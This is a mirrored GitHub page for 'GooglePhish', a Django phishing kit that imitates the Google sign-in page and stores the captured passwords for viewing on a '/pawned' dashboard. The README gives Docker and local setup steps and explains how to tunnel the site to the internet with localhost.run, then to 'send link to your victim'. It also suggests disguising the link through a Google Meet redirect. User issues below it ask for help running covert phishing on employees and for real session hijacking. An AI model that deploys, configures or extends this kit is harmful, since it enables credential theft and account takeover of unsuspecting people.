dmdhrumilmistry / googlephish Goto Github PK

Google account phishing tool written in python using django

Python 32.82% HTML 47.04% Dockerfile 3.91% CSS 14.57% JavaScript 1.56% Makefile 0.10%

phishing-attacks phishing google-phishing-login python python3 django docker docker-compose docker-container docker-image

googlephish's Introduction

GooglePhish

Google Account Phishing Tool using Python Django Framework.
Screenshots

Screenshots Screenshots

Fast Installation Using docker

Pull created image

Install Docker
Pull googlephish image
```
docker pull dmdhrumilmistry/googlephish
```

run docker image

docker run -d -p 8000:8000 dmdhrumilmistry/googlephish -e

Build Image and run using build command
```
  sudo docker build -t googlephish . 
```

You can specify your credentials using build arguments like this :

sudo docker build -t googlephish -e "[email protected]" -e "DJANGO_SUPERUSER_USERNAME=admin" -e "DJANGO_SUPERUSER_PASSWORD=GooglePhish" .

Run docker container
```
docker run -d -p 8000:8000 googlephish
```

If you have build the dockerfile with no arguments, the default credentials are :

Username : admin
Password : G00g13P#15#23

Using Docker Compose
```
 docker-compose up
```
⚠️ Doesn't work yet

Installation

Clone/Download repo

git clone https://github.com/dmdhrumilmistry/GooglePhish.git

Create virtual environment
```
python3 -m venv env
```
Load virtual environment
```
source env/bin/activate
```
Install Poetry
```
python3 -m pip install poetry
```
Install requirements
```
poetry install
```
Check for errors
```
python3 manage.py check
```
Proceed if no errors were encountered.

migrate db

python3 manage.py makemigrations
python3 manage.py migrate

Create user
```
python3 manage.py createsuperuser
```
Collect static files
```
python3 manage.py collectstatic
```
Run server
```
python3 manage.py runserver
```
Use --insecure tag if any issue is encountered while loading static files.

Update `.env` file

Env File template

DJANGO_SECRET_KEY=secret_key
DEBUG=False
ALLOWED_HOSTS=*
CSRF_TRUSTED_ORIGINS=https://your-domain.ngrok-free.app,https://domain.localhost.run

Generate and copy new secret key
```
python3 generate_new_key.py
```
Set DEBUG variable to True only during development stage, else use False
Set CSRF_TRUSTED_ORIGINS while using ssh tunnels such as ngrok and localhost.run.
update values in .env file

View Passwords using GooglePhish Dashboard Page

Dashboard login page
```
http://127.0.0.1:8000/pawned
```

Start Server

python3 manage.py runserver

if static files are not loading, turn on debug mode or use
python3 manage.py runserver --insecure

For phishing over the internet

Start server
```
python3 manage.py runserver
```
forward port using ssh
```
ssh -R 80:localhost:8000 localhost.run
```
8000 is port of localhost server. 80 is localhost.run server port. Localhost is service that helps you to expose your server running on localhost to the internet, visit their documentation for more info
Now send link to your victim

You can redirect user from google meet to your phishing page link using
https://meet.google.com/linkredirect?dest=your_link

Project Maintainer

dmdhrumilmistry

Contributors

Contributors List

Have any Ideas 💡 or issue

Create an issue
Fork the repo, update script and create a Pull Request

googlephish's People

Contributors

Stargazers

Watchers

Forkers

singh-amandeep wh014m yannis-mlgrn croat79 calipso83 jhoanborges vannyboy2023 damilolaabiona skylersmith773 vinici0 trollgamesinc presssay manuthrj masilvadorada hasan8095

googlephish's Issues

CSRF verification failed

When I run the code and open it on localhost it works fine, but when I try to do it with a tunneling service (I tried localhost.run and ngrok) it loads the first page but after I click next or enter it should go to the page where the user writes the password but instead this page appears:

I'm not sure why this is happening, did I make a mistake setting this up or is it just a bug in the code itself? Is there any way for me to fix it? I am not trying to do anything illegal, a friend of mine owns a company and gave me an email list for me to try to phish his employers on their work emails to see if they are respecting the it security rules he implemented, so obviously they can't know what I am doing and a page like this popping up would make sure that it doesn't work, but there is nothing illegal going on. Thanks in advance.

Updated Google Page for 2022

Hey Man! I was trying to make a Phishing tool for educational purposes... So I made this page but I can seem to figure out the phising part here is a demo of the project you can modify it! and make update the tool! it would be great if you could! here are the files!

google-login-page-clone.zip

Updating Env

i m just learning here....
how do i update the Env File template?
any commands to do in terminal ?

Originally posted by @jimblonde100 in #35 (comment)

Email sign-in issue

When you are at the beginning where you enter the email address, the "Create account" button is a little too far right. Another thing is when you enter the password, the input box looks different than the actual login page.

cannot launch in public

why ?

pre-build arm64 Docker containers (enhancement)

Apparently you guys only support x86-64 for the pre-build Docker containers. It would be nice, if there were also builds for arm64 for the folks using MacBooks or Raspberry pi's.

Add Static Analyzer for detecting security issues

Integrate PySA using GitHub actions to detect security issues.

Doing actual logins (enhancement)

What's the point of collection someone's Google login data like this.... especially since Google has 2fa for everyone.

Fake front end
A backend that uses this data not only for collection, but generating real sessions
Let the user validate the login

I understand there is https://github.com/kgretzky/evilginx2 but it has to be hosted in a VPS, while security researchers could use this a lot easier.

run on replit?

can you make it replit friendly

it gives these errors

[ Frontend ] Better css for password input

The problem ;

When we typing in the password input, the placeholder moving up and go above the email text like this :

How we can resolve it :

I suggest to add some css specs like margin to avoid this problem

Use user specified superuser configuration for docker

Use user-specified username, password, and email for the Django project in the docker file.

Create WorkFlow to automate build and push main branch Docker image

Create an automated workflow which will build main branch docker image and push it to dockerhub

Where can I find or create the env file to allow CSRF origins and allowed hosts

I know this might seem as a stupid question, but i am still a beginner using docker.
I have pulled the image successfully and ran it locally, it worked fine.
Now after i used ngrok, i got 403 for csrf requests, i recognized i have to change the settings of allowed domains, after that i read the readme file which indicates that i have to update the ".env" file.
Problem: I can not find the ".env" file inside docker desktop app.
I tried pasting the settings in the ".dockerenv" file but things didn't work as suposed.

I was wondering how can i copy the ngrok subdomain generated after i have ran the docker image which is dependant on the domain to be allowed for csrf and ALLOWED HOSTS.
So I decided to use a wild card for the subdomain but that didn't work neither.
Any type of guidance is appreciated. Thanks in advance.

Update Google Login Page UI

login with other domains than @gmail.com

Hi @dmdhrumilmistry,

I appreciate your project a lot, but I noticed that when I log in with another domain (e.g. [email protected]) it'll submit it as [email protected], also on passwd.html it replaces any domain with gmail.com.

Great work !

[ Improvement ] Default credential not specify in docker documentation

We can specify the defaults admin credential in the docker documentation to avoid people to lost time to search it in the Dockerfile

Remove Connect with Us section from README file

Remove connect with us section
Update Contributors with redirection link

Docker image is not yet updated

In your documentation you said that we can use your docker image. but it's not updated we have the old form and the admin dashboard doesn't exist at http://localhost:8000/pawned

Fix docker-compose.yml file

    @dmdhrumilmistry, I can't launch your `docker-compose` with this command : `docker-compose up`. I've this error, it's nomal ? idk if we should create a issue about this

ERROR: The Compose file is invalid because:
Service web has neither an image nor a build context specified. At least one must be provided.

Originally posted by @yannis-mlgrn in #14 (comment)

dmdhrumilmistry / googlephish Goto Github PK

googlephish's Introduction

GooglePhish

Fast Installation Using docker

Installation

Update .env file

View Passwords using GooglePhish Dashboard Page

Start Server

For phishing over the internet

Project Maintainer

Contributors

Have any Ideas 💡 or issue

googlephish's People

Contributors

Stargazers

Watchers

Forkers

googlephish's Issues

The problem ;

How we can resolve it :

Recommend Projects

Recommend Topics

Recommend Org

Update `.env` file